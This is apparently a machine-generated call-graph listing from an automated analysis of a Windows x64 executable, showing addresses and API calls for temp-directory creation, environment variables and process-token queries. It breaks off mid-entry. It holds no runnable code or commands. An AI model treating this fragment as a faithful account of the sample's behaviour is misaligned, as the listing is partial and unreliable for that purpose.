7ff6850b2b12 16125->16127 16128 7ff6850b2ada MessageBoxW 16126->16128 16129 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16127->16129 16128->16127 16130 7ff6850b2b22 16129->16130 16130->15845 16132 7ff6850b29fc GetLastError 16131->16132 16132->16115 16134 7ff6850c4b1e 16133->16134 16135 7ff6850c4b43 16134->16135 16137 7ff6850c4b7f 16134->16137 16136 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16135->16136 16139 7ff6850c4b6d 16136->16139 16163 7ff6850c2d50 16137->16163 16142 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16139->16142 16140 7ff6850c4c5c 16141 7ff6850caf0c __free_lconv_mon 11 API calls 16140->16141 16141->16139 16144 7ff6850b2a57 16142->16144 16151 7ff6850b8560 16144->16151 16145 7ff6850c4c31 16149 7ff6850caf0c __free_lconv_mon 11 API calls 16145->16149 16146 7ff6850c4c80 16146->16140 16148 7ff6850c4c8a 16146->16148 16147 7ff6850c4c28 16147->16140 16147->16145 16150 7ff6850caf0c __free_lconv_mon 11 API calls 16148->16150 16149->16139 16150->16139 16152 7ff6850b856c 16151->16152 16153 7ff6850b8587 GetLastError 16152->16153 16154 7ff6850b858d FormatMessageW 16152->16154 16153->16154 16155 7ff6850b85c0 16154->16155 16156 7ff6850b85dc WideCharToMultiByte 16154->16156 16157 7ff6850b29e0 54 API calls 16155->16157 16158 7ff6850b85d3 16156->16158 16159 7ff6850b8616 16156->16159 16157->16158 16161 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16158->16161 16160 7ff6850b29e0 54 API calls 16159->16160 16160->16158 16162 7ff6850b2a5e 16161->16162 16162->16120 16164 7ff6850c2d8e 16163->16164 16169 7ff6850c2d7e 16163->16169 16165 7ff6850c2d97 16164->16165 16171 7ff6850c2dc5 16164->16171 16166 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16165->16166 16167 7ff6850c2dbd 16166->16167 16167->16140 16167->16145 16167->16146 16167->16147 16168 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16168->16167 16169->16168 16171->16167 16171->16169 16173 7ff6850c3074 16171->16173 16177 7ff6850c36e0 16171->16177 16203 7ff6850c33a8 16171->16203 16233 7ff6850c2c30 16171->16233 16236 7ff6850c4900 16171->16236 16175 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16173->16175 16175->16169 16178 7ff6850c3795 16177->16178 16179 7ff6850c3722 16177->16179 16182 7ff6850c37ef 16178->16182 16183 7ff6850c379a 16178->16183 16180 7ff6850c37bf 16179->16180 16181 7ff6850c3728 16179->16181 16260 7ff6850c1c90 16180->16260 16188 7ff6850c372d 16181->16188 16192 7ff6850c37fe 16181->16192 16182->16180 16182->16192 16201 7ff6850c3758 16182->16201 16184 7ff6850c37cf 16183->16184 16185 7ff6850c379c 16183->16185 16267 7ff6850c1880 16184->16267 16187 7ff6850c373d 16185->16187 16191 7ff6850c37ab 16185->16191 16202 7ff6850c382d 16187->16202 16242 7ff6850c4044 16187->16242 16188->16187 16193 7ff6850c3770 16188->16193 16188->16201 16191->16180 16195 7ff6850c37b0 16191->16195 16192->16202 16274 7ff6850c20a0 16192->16274 16193->16202 16252 7ff6850c4500 16193->16252 16195->16202 16256 7ff6850c4698 16195->16256 16197 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16199 7ff6850c3ac3 16197->16199 16199->16171 16201->16202 16281 7ff6850cee18 16201->16281 16202->16197 16204 7ff6850c33b3 16203->16204 16205 7ff6850c33c9 16203->16205 16206 7ff6850c3407 16204->16206 16207 7ff6850c3795 16204->16207 16208 7ff6850c3722 16204->16208 16205->16206 16209 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16205->16209 16206->16171 16212 7ff6850c37ef 16207->16212 16213 7ff6850c379a 16207->16213 16210 7ff6850c37bf 16208->16210 16211 7ff6850c3728 16208->16211 16209->16206 16216 7ff6850c1c90 38 API calls 16210->16216 16220 7ff6850c372d 16211->16220 16223 7ff6850c37fe 16211->16223 16212->16210 16212->16223 16231 7ff6850c3758 16212->16231 16214 7ff6850c37cf 16213->16214 16215 7ff6850c379c 16213->16215 16218 7ff6850c1880 38 API calls 16214->16218 16217 7ff6850c373d 16215->16217 16221 7ff6850c37ab 16215->16221 16216->16231 16219 7ff6850c4044 47 API calls 16217->16219 16232 7ff6850c382d 16217->16232 16218->16231 16219->16231 16220->16217 16222 7ff6850c3770 16220->16222 16220->16231 16221->16210 16225 7ff6850c37b0 16221->16225 16226 7ff6850c4500 47 API calls 16222->16226 16222->16232 16224 7ff6850c20a0 38 API calls 16223->16224 16223->16232 16224->16231 16228 7ff6850c4698 37 API calls 16225->16228 16225->16232 16226->16231 16227 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16229 7ff6850c3ac3 16227->16229 16228->16231 16229->16171 16230 7ff6850cee18 47 API calls 16230->16231 16231->16230 16231->16232 16232->16227 16430 7ff6850c0e54 16233->16430 16237 7ff6850c4917 16236->16237 16447 7ff6850cdf78 16237->16447 16243 7ff6850c4066 16242->16243 16291 7ff6850c0cc0 16243->16291 16248 7ff6850c4900 45 API calls 16249 7ff6850c41a3 16248->16249 16250 7ff6850c4900 45 API calls 16249->16250 16251 7ff6850c422c 16249->16251 16250->16251 16251->16201 16253 7ff6850c4580 16252->16253 16254 7ff6850c4518 16252->16254 16253->16201 16254->16253 16255 7ff6850cee18 47 API calls 16254->16255 16255->16253 16258 7ff6850c46b9 16256->16258 16257 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16259 7ff6850c46ea 16257->16259 16258->16257 16258->16259 16259->16201 16261 7ff6850c1cc3 16260->16261 16262 7ff6850c1cf2 16261->16262 16264 7ff6850c1daf 16261->16264 16263 7ff6850c0cc0 12 API calls 16262->16263 16266 7ff6850c1d2f 16262->16266 16263->16266 16265 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16264->16265 16265->16266 16266->16201 16268 7ff6850c18b3 16267->16268 16269 7ff6850c18e2 16268->16269 16271 7ff6850c199f 16268->16271 16270 7ff6850c0cc0 12 API calls 16269->16270 16272 7ff6850c191f 16269->16272 16270->16272 16273 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16271->16273 16272->16201 16273->16272 16275 7ff6850c20d3 16274->16275 16276 7ff6850c2102 16275->16276 16278 7ff6850c21bf 16275->16278 16277 7ff6850c0cc0 12 API calls 16276->16277 16280 7ff6850c213f 16276->16280 16277->16280 16279 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16278->16279 16279->16280 16280->16201 16283 7ff6850cee40 16281->16283 16282 7ff6850cee85 16286 7ff6850cee6e memcpy_s 16282->16286 16290 7ff6850cee45 memcpy_s 16282->16290 16427 7ff6850d04c8 16282->16427 16283->16282 16285 7ff6850c4900 45 API calls 16283->16285 16283->16286 16283->16290 16284 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16284->16290 16285->16282 16286->16284 16286->16290 16290->16201 16292 7ff6850c0ce6 16291->16292 16293 7ff6850c0cf7 16291->16293 16299 7ff6850ceb30 16292->16299 16293->16292 16294 7ff6850cdbbc _fread_nolock 12 API calls 16293->16294 16295 7ff6850c0d24 16294->16295 16296 7ff6850c0d38 16295->16296 16297 7ff6850caf0c __free_lconv_mon 11 API calls 16295->16297 16298 7ff6850caf0c __free_lconv_mon 11 API calls 16296->16298 16297->16296 16298->16292 16300 7ff6850ceb80 16299->16300 16301 7ff6850ceb4d 16299->16301 16300->16301 16303 7ff6850cebb2 16300->16303 16302 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16301->16302 16312 7ff6850c4181 16302->16312 16309 7ff6850cecc5 16303->16309 16316 7ff6850cebfa 16303->16316 16304 7ff6850cedb7 16354 7ff6850ce01c 16304->16354 16306 7ff6850ced7d 16347 7ff6850ce3b4 16306->16347 16308 7ff6850ced4c 16340 7ff6850ce694 16308->16340 16309->16304 16309->16306 16309->16308 16311 7ff6850ced0f 16309->16311 16313 7ff6850ced05 16309->16313 16330 7ff6850ce8c4 16311->16330 16312->16248 16312->16249 16313->16306 16315 7ff6850ced0a 16313->16315 16315->16308 16315->16311 16316->16312 16321 7ff6850caa3c 16316->16321 16319 7ff6850caec4 _wfindfirst32i64 17 API calls 16320 7ff6850cee14 16319->16320 16322 7ff6850caa53 16321->16322 16323 7ff6850caa49 16321->16323 16324 7ff6850c54c4 _get_daylight 11 API calls 16322->16324 16323->16322 16328 7ff6850caa6e 16323->16328 16325 7ff6850caa5a 16324->16325 16326 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16325->16326 16327 7ff6850caa66 16326->16327 16327->16312 16327->16319 16328->16327 16329 7ff6850c54c4 _get_daylight 11 API calls 16328->16329 16329->16325 16363 7ff6850d471c 16330->16363 16334 7ff6850ce96c 16335 7ff6850ce970 16334->16335 16336 7ff6850ce9c1 16334->16336 16337 7ff6850ce98c 16334->16337 16335->16312 16416 7ff6850ce4b0 16336->16416 16412 7ff6850ce76c 16337->16412 16341 7ff6850d471c 38 API calls 16340->16341 16342 7ff6850ce6de 16341->16342 16343 7ff6850d4164 37 API calls 16342->16343 16344 7ff6850ce72e 16343->16344 16345 7ff6850ce732 16344->16345 16346 7ff6850ce76c 45 API calls 16344->16346 16345->16312 16346->16345 16348 7ff6850d471c 38 API calls 16347->16348 16349 7ff6850ce3ff 16348->16349 16350 7ff6850d4164 37 API calls 16349->16350 16351 7ff6850ce457 16350->16351 16352 7ff6850ce45b 16351->16352 16353 7ff6850ce4b0 45 API calls 16351->16353 16352->16312 16353->16352 16355 7ff6850ce094 16354->16355 16356 7ff6850ce061 16354->16356 16358 7ff6850ce0ac 16355->16358 16360 7ff6850ce12d 16355->16360 16357 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16356->16357 16362 7ff6850ce08d memcpy_s 16357->16362 16359 7ff6850ce3b4 46 API calls 16358->16359 16359->16362 16361 7ff6850c4900 45 API calls 16360->16361 16360->16362 16361->16362 16362->16312 16364 7ff6850d476f fegetenv 16363->16364 16365 7ff6850d867c 37 API calls 16364->16365 16369 7ff6850d47c2 16365->16369 16366 7ff6850d47ef 16371 7ff6850caa3c __std_exception_copy 37 API calls 16366->16371 16367 7ff6850d48b2 16368 7ff6850d867c 37 API calls 16367->16368 16370 7ff6850d48dc 16368->16370 16369->16367 16372 7ff6850d488c 16369->16372 16373 7ff6850d47dd 16369->16373 16374 7ff6850d867c 37 API calls 16370->16374 16375 7ff6850d486d 16371->16375 16378 7ff6850caa3c __std_exception_copy 37 API calls 16372->16378 16373->16366 16373->16367 16376 7ff6850d48ed 16374->16376 16377 7ff6850d5994 16375->16377 16382 7ff6850d4875 16375->16382 16379 7ff6850d8870 20 API calls 16376->16379 16380 7ff6850caec4 _wfindfirst32i64 17 API calls 16377->16380 16378->16375 16390 7ff6850d4956 memcpy_s 16379->16390 16381 7ff6850d59a9 16380->16381 16383 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16382->16383 16384 7ff6850ce911 16383->16384 16408 7ff6850d4164 16384->16408 16385 7ff6850d4cff memcpy_s 16386 7ff6850d503f 16387 7ff6850d4280 37 API calls 16386->16387 16394 7ff6850d5757 16387->16394 16388 7ff6850d4feb 16388->16386 16391 7ff6850d59ac memcpy_s 37 API calls 16388->16391 16389 7ff6850d4997 memcpy_s 16402 7ff6850d52db memcpy_s 16389->16402 16403 7ff6850d4df3 memcpy_s 16389->16403 16390->16385 16390->16389 16392 7ff6850c54c4 _get_daylight 11 API calls 16390->16392 16391->16386 16393 7ff6850d4dd0 16392->16393 16395 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16393->16395 16397 7ff6850d59ac memcpy_s 37 API calls 16394->16397 16401 7ff6850d57b2 16394->16401 16395->16389 16396 7ff6850d5938 16398 7ff6850d867c 37 API calls 16396->16398 16397->16401 16398->16382 16399 7ff6850c54c4 11 API calls _get_daylight 16399->16402 16400 7ff6850c54c4 11 API calls _get_daylight 16400->16403 16401->16396 16404 7ff6850d4280 37 API calls 16401->16404 16407 7ff6850d59ac memcpy_s 37 API calls 16401->16407 16402->16386 16402->16388 16402->16399 16405 7ff6850caea4 37 API calls _invalid_parameter_noinfo 16402->16405 16403->16388 16403->16400 16406 7ff6850caea4 37 API calls _invalid_parameter_noinfo 16403->16406 16404->16401 16405->16402 16406->16403 16407->16401 16409 7ff6850d4183 16408->16409 16410 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16409->16410 16411 7ff6850d41ae memcpy_s 16409->16411 16410->16411 16411->16334 16413 7ff6850ce798 memcpy_s 16412->16413 16414 7ff6850c4900 45 API calls 16413->16414 16415 7ff6850ce852 memcpy_s 16413->16415 16414->16415 16415->16335 16415->16415 16417 7ff6850ce4eb 16416->16417 16420 7ff6850ce538 memcpy_s 16416->16420 16418 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16417->16418 16419 7ff6850ce517 16418->16419 16419->16335 16421 7ff6850ce5a3 16420->16421 16423 7ff6850c4900 45 API calls 16420->16423 16422 7ff6850caa3c __std_exception_copy 37 API calls 16421->16422 16426 7ff6850ce5e5 memcpy_s 16422->16426 16423->16421 16424 7ff6850caec4 _wfindfirst32i64 17 API calls 16425 7ff6850ce690 16424->16425 16426->16424 16429 7ff6850d04ec WideCharToMultiByte 16427->16429 16431 7ff6850c0e81 16430->16431 16432 7ff6850c0e93 16430->16432 16433 7ff6850c54c4 _get_daylight 11 API calls 16431->16433 16435 7ff6850c0ea0 16432->16435 16438 7ff6850c0edd 16432->16438 16434 7ff6850c0e86 16433->16434 16436 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16434->16436 16437 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16435->16437 16442 7ff6850c0e91 16436->16442 16437->16442 16439 7ff6850c0f86 16438->16439 16440 7ff6850c54c4 _get_daylight 11 API calls 16438->16440 16441 7ff6850c54c4 _get_daylight 11 API calls 16439->16441 16439->16442 16443 7ff6850c0f7b 16440->16443 16444 7ff6850c1030 16441->16444 16442->16171 16446 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16443->16446 16445 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16444->16445 16445->16442 16446->16439 16448 7ff6850cdf91 16447->16448 16449 7ff6850c493f 16447->16449 16448->16449 16455 7ff6850d3974 16448->16455 16451 7ff6850cdfe4 16449->16451 16452 7ff6850c494f 16451->16452 16453 7ff6850cdffd 16451->16453 16452->16171 16453->16452 16468 7ff6850d2cc0 16453->16468 16456 7ff6850cb710 __CxxCallCatchBlock 45 API calls 16455->16456 16457 7ff6850d3983 16456->16457 16458 7ff6850d39ce 16457->16458 16467 7ff6850d0cb8 EnterCriticalSection 16457->16467 16458->16449 16469 7ff6850cb710 __CxxCallCatchBlock 45 API calls 16468->16469 16470 7ff6850d2cc9 16469->16470 16478 7ff6850c536c EnterCriticalSection 16471->16478 16480 7ff6850b28ac 16479->16480 16481 7ff6850c4ac4 49 API calls 16480->16481 16482 7ff6850b28fd 16481->16482 16483 7ff6850c54c4 _get_daylight 11 API calls 16482->16483 16484 7ff6850b2902 16483->16484 16498 7ff6850c54e4 16484->16498 16487 7ff6850b1ef0 49 API calls 16488 7ff6850b2931 memcpy_s 16487->16488 16489 7ff6850b8ae0 57 API calls 16488->16489 16490 7ff6850b2966 16489->16490 16491 7ff6850b29a3 MessageBoxA 16490->16491 16492 7ff6850b296b 16490->16492 16494 7ff6850b29bd 16491->16494 16493 7ff6850b8ae0 57 API calls 16492->16493 16495 7ff6850b2985 MessageBoxW 16493->16495 16496 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16494->16496 16495->16494 16497 7ff6850b29cd 16496->16497 16497->15859 16499 7ff6850cb888 _get_daylight 11 API calls 16498->16499 16501 7ff6850c54fb 16499->16501 16500 7ff6850b2909 16500->16487 16501->16500 16502 7ff6850cf158 _get_daylight 11 API calls 16501->16502 16505 7ff6850c553b 16501->16505 16503 7ff6850c5530 16502->16503 16504 7ff6850caf0c __free_lconv_mon 11 API calls 16503->16504 16504->16505 16505->16500 16510 7ff6850cf828 16505->16510 16508 7ff6850caec4 _wfindfirst32i64 17 API calls 16509 7ff6850c5580 16508->16509 16513 7ff6850cf845 16510->16513 16511 7ff6850cf84a 16512 7ff6850c54c4 _get_daylight 11 API calls 16511->16512 16516 7ff6850c5561 16511->16516 16518 7ff6850cf854 16512->16518 16513->16511 16514 7ff6850cf894 16513->16514 16513->16516 16514->16516 16517 7ff6850c54c4 _get_daylight 11 API calls 16514->16517 16515 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16515->16516 16516->16500 16516->16508 16517->16518 16518->16515 16520 7ff6850b8c14 WideCharToMultiByte 16519->16520 16521 7ff6850b8c82 WideCharToMultiByte 16519->16521 16522 7ff6850b8c3e 16520->16522 16523 7ff6850b8c55 16520->16523 16524 7ff6850b8caf 16521->16524 16525 7ff6850b3f25 16521->16525 16526 7ff6850b29e0 57 API calls 16522->16526 16523->16521 16528 7ff6850b8c6b 16523->16528 16527 7ff6850b29e0 57 API calls 16524->16527 16525->15868 16525->15870 16526->16525 16527->16525 16529 7ff6850b29e0 57 API calls 16528->16529 16529->16525 16531 7ff6850ca9b3 16530->16531 16534 7ff6850b7bde 16530->16534 16532 7ff6850caa3c __std_exception_copy 37 API calls 16531->16532 16531->16534 16533 7ff6850ca9e0 16532->16533 16533->16534 16535 7ff6850caec4 _wfindfirst32i64 17 API calls 16533->16535 16534->15886 16536 7ff6850caa10 16535->16536 16538 7ff6850b3fd0 116 API calls 16537->16538 16539 7ff6850b1ad6 16538->16539 16540 7ff6850b1c84 16539->16540 16541 7ff6850b82b0 83 API calls 16539->16541 16542 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16540->16542 16543 7ff6850b1b0e 16541->16543 16544 7ff6850b1c98 16542->16544 16568 7ff6850b1b3f 16543->16568 16576 7ff6850c0814 16543->16576 16544->15896 16570 7ff6850b3e40 16544->16570 16546 7ff6850c018c 74 API calls 16546->16540 16547 7ff6850b1b28 16548 7ff6850b1b44 16547->16548 16549 7ff6850b1b2c 16547->16549 16580 7ff6850c04dc 16548->16580 16550 7ff6850b2890 59 API calls 16549->16550 16550->16568 16553 7ff6850b1b5f 16556 7ff6850b2890 59 API calls 16553->16556 16554 7ff6850b1b77 16555 7ff6850c0814 73 API calls 16554->16555 16557 7ff6850b1bc4 16555->16557 16556->16568 16558 7ff6850b1bee 16557->16558 16559 7ff6850b1bd6 16557->16559 16561 7ff6850c04dc _fread_nolock 53 API calls 16558->16561 16560 7ff6850b2890 59 API calls 16559->16560 16560->16568 16562 7ff6850b1c03 16561->16562 16563 7ff6850b1c1e 16562->16563 16564 7ff6850b1c09 16562->16564 16583 7ff6850c0250 16563->16583 16565 7ff6850b2890 59 API calls 16564->16565 16565->16568 16568->16546 16571 7ff6850b1ef0 49 API calls 16570->16571 16572 7ff6850b3e5d 16571->16572 16572->15906 16574 7ff6850b1ef0 49 API calls 16573->16574 16575 7ff6850b4080 16574->16575 16575->15896 16577 7ff6850c0844 16576->16577 16589 7ff6850c05a4 16577->16589 16579 7ff6850c085d 16579->16547 16601 7ff6850c04fc 16580->16601 16584 7ff6850c0259 16583->16584 16588 7ff6850b1c32 16583->16588 16585 7ff6850c54c4 _get_daylight 11 API calls 16584->16585 16588->16568 16590 7ff6850c060e 16589->16590 16591 7ff6850c05ce 16589->16591 16590->16591 16593 7ff6850c061a 16590->16593 16592 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16591->16592 16599 7ff6850c05f5 16592->16599 16600 7ff6850c536c EnterCriticalSection 16593->16600 16599->16579 16602 7ff6850c0526 16601->16602 16613 7ff6850b1b59 16601->16613 16603 7ff6850c0535 memcpy_s 16602->16603 16604 7ff6850c0572 16602->16604 16602->16613 16607 7ff6850c54c4 _get_daylight 11 API calls 16603->16607 16614 7ff6850c536c EnterCriticalSection 16604->16614 16609 7ff6850c054a 16607->16609 16611 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16609->16611 16611->16613 16613->16553 16613->16554 16616 7ff6850b7966 16615->16616 16617 7ff6850b79dd GetTempPathW 16616->16617 16618 7ff6850b798a 16616->16618 16619 7ff6850b79f2 16617->16619 16620 7ff6850b7b60 61 API calls 16618->16620 16654 7ff6850b2830 16619->16654 16621 7ff6850b7996 16620->16621 16678 7ff6850b7420 16621->16678 16627 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16629 7ff6850b154f 16627->16629 16628 7ff6850b79bc __vcrt_freefls 16628->16617 16631 7ff6850b79ca 16628->16631 16629->15912 16629->15916 16632 7ff6850b7a0b __vcrt_freefls 16633 7ff6850b7ab6 16632->16633 16637 7ff6850b7a41 16632->16637 16658 7ff6850c8aa4 16632->16658 16661 7ff6850b8950 16632->16661 16635 7ff6850b8bf0 59 API calls 16633->16635 16639 7ff6850b7ac7 __vcrt_freefls 16635->16639 16638 7ff6850b8ae0 57 API calls 16637->16638 16645 7ff6850b7a7a __vcrt_freefls 16637->16645 16640 7ff6850b7a57 16638->16640 16641 7ff6850b8ae0 57 API calls 16639->16641 16639->16645 16642 7ff6850b7a99 SetEnvironmentVariableW 16640->16642 16643 7ff6850b7a5c 16640->16643 16644 7ff6850b7ae5 16641->16644 16642->16645 16646 7ff6850b8ae0 57 API calls 16643->16646 16647 7ff6850b7b1d SetEnvironmentVariableW 16644->16647 16648 7ff6850b7aea 16644->16648 16645->16627 16649 7ff6850b7a6c 16646->16649 16647->16645 16650 7ff6850b8ae0 57 API calls 16648->16650 16651 7ff6850c7dec 38 API calls 16649->16651 16652 7ff6850b7afa 16650->16652 16651->16645 16655 7ff6850b2855 16654->16655 16712 7ff6850c4d18 16655->16712 16906 7ff6850c86d0 16658->16906 16662 7ff6850bbc60 16661->16662 16663 7ff6850b8960 GetCurrentProcess OpenProcessToken 16662->16663 16664 7ff6850b8a21 __vcrt_freefls 16663->16664 16665 7ff6850b89ab GetTokenInformation 16663->16665 16668 7ff6850b8a34 FindCloseChangeNotification 16664->16668 16669 7ff6850b8a3a 16664->16669 16666 7ff6850b89cd GetLastError 16665->16666 16667 7ff6850b89d8 16665->16667 16666->16664 16666->16667 16667->16664 16670 7ff6850b89ee GetTokenInformation 16667->16670 16668->16669 17037 7ff6850b8650 16669->17037 16670->16664 16672 7ff6850b8a14 ConvertSidToStringSidW 16670->16672 16672->16664 16679 7ff6850b742c 16678->16679 16680 7ff6850b8ae0 57 API calls 16679->16680 16681 7ff6850b744e 16680->16681 16682 7ff6850b7469 ExpandEnvironmentStringsW 16681->16682 16683 7ff6850b7456 16681->16683 16685 7ff6850b748f __vcrt_freefls 16682->16685 16684 7ff6850b2b30 59 API calls 16683->16684 16686 7ff6850b7462 16684->16686 16687 7ff6850b7493 16685->16687 16691 7ff6850b74a6 16685->16691 16688 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16686->16688 16689 7ff6850b2b30 59 API calls 16687->16689 16690 7ff6850b7588 16688->16690 16689->16686 16690->16645 16702 7ff6850c7dec 16690->16702 16692 7ff6850b74c0 16691->16692 16693 7ff6850b74b4 16691->16693 17048 7ff6850c6328 16692->17048 17041 7ff6850c79a4 16693->17041 16696 7ff6850b74be 16697 7ff6850b74da 16696->16697 16700 7ff6850b74ed memcpy_s 16696->16700 16698 7ff6850b2b30 59 API calls 16697->16698 16698->16686 16699 7ff6850b7562 CreateDirectoryW 16699->16686 16700->16699 16701 7ff6850b753c CreateDirectoryW 16700->16701 16701->16700 16703 7ff6850c7df9 16702->16703 16704 7ff6850c7e0c 16702->16704 16705 7ff6850c54c4 _get_daylight 11 API calls 16703->16705 17140 7ff6850c7a70 16704->17140 16707 7ff6850c7dfe 16705->16707 16709 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16707->16709 16711 7ff6850c7e0a 16709->16711 16711->16628 16713 7ff6850c4d72 16712->16713 16714 7ff6850c4d97 16713->16714 16716 7ff6850c4dd3 16713->16716 16715 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16714->16715 16719 7ff6850c4dc1 16715->16719 16730 7ff6850c30d0 16716->16730 16720 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16719->16720 16722 7ff6850b2874 16720->16722 16721 7ff6850caf0c __free_lconv_mon 11 API calls 16721->16719 16722->16632 16723 7ff6850c4eb4 16723->16721 16724 7ff6850c4e89 16728 7ff6850caf0c __free_lconv_mon 11 API calls 16724->16728 16725 7ff6850c4eda 16725->16723 16727 7ff6850c4ee4 16725->16727 16726 7ff6850c4e80 16726->16723 16726->16724 16729 7ff6850caf0c __free_lconv_mon 11 API calls 16727->16729 16728->16719 16729->16719 16731 7ff6850c310e 16730->16731 16732 7ff6850c30fe 16730->16732 16733 7ff6850c3117 16731->16733 16737 7ff6850c3145 16731->16737 16736 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16732->16736 16734 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16733->16734 16735 7ff6850c313d 16734->16735 16735->16723 16735->16724 16735->16725 16735->16726 16736->16735 16737->16732 16737->16735 16741 7ff6850c3ae4 16737->16741 16774 7ff6850c3530 16737->16774 16811 7ff6850c2cc0 16737->16811 16742 7ff6850c3b97 16741->16742 16743 7ff6850c3b26 16741->16743 16746 7ff6850c3bf0 16742->16746 16747 7ff6850c3b9c 16742->16747 16744 7ff6850c3bc1 16743->16744 16745 7ff6850c3b2c 16743->16745 16830 7ff6850c1e94 16744->16830 16748 7ff6850c3b31 16745->16748 16749 7ff6850c3b60 16745->16749 16752 7ff6850c3c07 16746->16752 16753 7ff6850c3bfa 16746->16753 16757 7ff6850c3bff 16746->16757 16750 7ff6850c3bd1 16747->16750 16751 7ff6850c3b9e 16747->16751 16748->16752 16755 7ff6850c3b37 16748->16755 16749->16755 16749->16757 16837 7ff6850c1a84 16750->16837 16756 7ff6850c3b40 16751->16756 16761 7ff6850c3bad 16751->16761 16844 7ff6850c47ec 16752->16844 16753->16744 16753->16757 16755->16756 16762 7ff6850c3b72 16755->16762 16769 7ff6850c3b5b 16755->16769 16772 7ff6850c3c30 16756->16772 16814 7ff6850c4298 16756->16814 16757->16772 16848 7ff6850c22a4 16757->16848 16761->16744 16764 7ff6850c3bb2 16761->16764 16762->16772 16824 7ff6850c45d4 16762->16824 16767 7ff6850c4698 37 API calls 16764->16767 16764->16772 16766 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16768 7ff6850c3f2a 16766->16768 16767->16769 16768->16737 16770 7ff6850c4900 45 API calls 16769->16770 16769->16772 16773 7ff6850c3e1c 16769->16773 16770->16773 16772->16766 16773->16772 16855 7ff6850cefc8 16773->16855 16775 7ff6850c353e 16774->16775 16776 7ff6850c3554 16774->16776 16777 7ff6850c3b97 16775->16777 16778 7ff6850c3b26 16775->16778 16780 7ff6850c3594 16775->16780 16779 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16776->16779 16776->16780 16783 7ff6850c3bf0 16777->16783 16784 7ff6850c3b9c 16777->16784 16781 7ff6850c3bc1 16778->16781 16782 7ff6850c3b2c 16778->16782 16779->16780 16780->16737 16791 7ff6850c1e94 38 API calls 16781->16791 16785 7ff6850c3b31 16782->16785 16786 7ff6850c3b60 16782->16786 16789 7ff6850c3c07 16783->16789 16790 7ff6850c3bfa 16783->16790 16796 7ff6850c3bff 16783->16796 16787 7ff6850c3bd1 16784->16787 16788 7ff6850c3b9e 16784->16788 16785->16789 16792 7ff6850c3b37 16785->16792 16786->16792 16786->16796 16794 7ff6850c1a84 38 API calls 16787->16794 16793 7ff6850c3b40 16788->16793 16799 7ff6850c3bad 16788->16799 16798 7ff6850c47ec 45 API calls 16789->16798 16790->16781 16790->16796 16797 7ff6850c3b5b 16791->16797 16792->16793 16792->16797 16800 7ff6850c3b72 16792->16800 16795 7ff6850c4298 47 API calls 16793->16795 16809 7ff6850c3c30 16793->16809 16794->16797 16795->16797 16801 7ff6850c22a4 38 API calls 16796->16801 16796->16809 16807 7ff6850c4900 45 API calls 16797->16807 16797->16809 16810 7ff6850c3e1c 16797->16810 16798->16797 16799->16781 16802 7ff6850c3bb2 16799->16802 16803 7ff6850c45d4 46 API calls 16800->16803 16800->16809 16801->16797 16805 7ff6850c4698 37 API calls 16802->16805 16802->16809 16803->16797 16804 7ff6850bbcc0 _wfindfirst32i64 8 API calls 16806 7ff6850c3f2a 16804->16806 16805->16797 16806->16737 16807->16810 16808 7ff6850cefc8 46 API calls 16808->16810 16809->16804 16810->16808 16810->16809 16889 7ff6850c1108 16811->16889 16815 7ff6850c42be 16814->16815 16816 7ff6850c0cc0 12 API calls 16815->16816 16817 7ff6850c430e 16816->16817 16818 7ff6850ceb30 46 API calls 16817->16818 16825 7ff6850c4609 16824->16825 16826 7ff6850c4627 16825->16826 16827 7ff6850c4900 45 API calls 16825->16827 16829 7ff6850c464e 16825->16829 16828 7ff6850cefc8 46 API calls 16826->16828 16827->16826 16828->16829 16829->16769 16831 7ff6850c1ec7 16830->16831 16832 7ff6850c1ef6 16831->16832 16834 7ff6850c1fb3 16831->16834 16836 7ff6850c1f33 16832->16836 16867 7ff6850c0d68 16832->16867 16835 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16834->16835 16835->16836 16836->16769 16838 7ff6850c1ab7 16837->16838 16839 7ff6850c1ae6 16838->16839 16841 7ff6850c1ba3 16838->16841 16840 7ff6850c0d68 12 API calls 16839->16840 16843 7ff6850c1b23 16839->16843 16840->16843 16842 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16841->16842 16842->16843 16843->16769 16845 7ff6850c482f 16844->16845 16847 7ff6850c4833 __crtLCMapStringW 16845->16847 16875 7ff6850c4888 16845->16875 16847->16769 16849 7ff6850c22d7 16848->16849 16850 7ff6850c2306 16849->16850 16852 